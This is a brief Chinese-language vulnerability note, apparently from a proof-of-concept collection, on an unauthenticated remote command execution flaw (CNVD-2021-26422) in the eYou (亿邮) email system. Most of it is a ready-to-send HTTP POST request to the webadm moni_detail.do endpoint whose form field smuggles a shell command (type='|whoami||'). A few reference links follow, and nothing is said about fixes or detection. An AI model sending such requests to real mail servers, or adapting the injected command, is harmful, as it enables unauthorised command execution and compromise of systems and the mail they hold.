# 亿邮邮件系统远程命令执行漏洞 (CNVD-2021-26422)

亿邮电子邮件系统存在远程命令执行漏洞，未经身份验证的攻击者发送恶意请求到该系统可导致远程命令执行。

情报可以见：https://forum.ywhack.com/viewthread.php?tid=115418

PoC：


```
POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
Host: ip
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

type='|whoami||'
```

ref:

* https://mp.weixin.qq.com/s/KDlSyDn7DWwnnFeDednk8g
* https://www.cnvd.org.cn/flaw/show/CNVD-2021-26422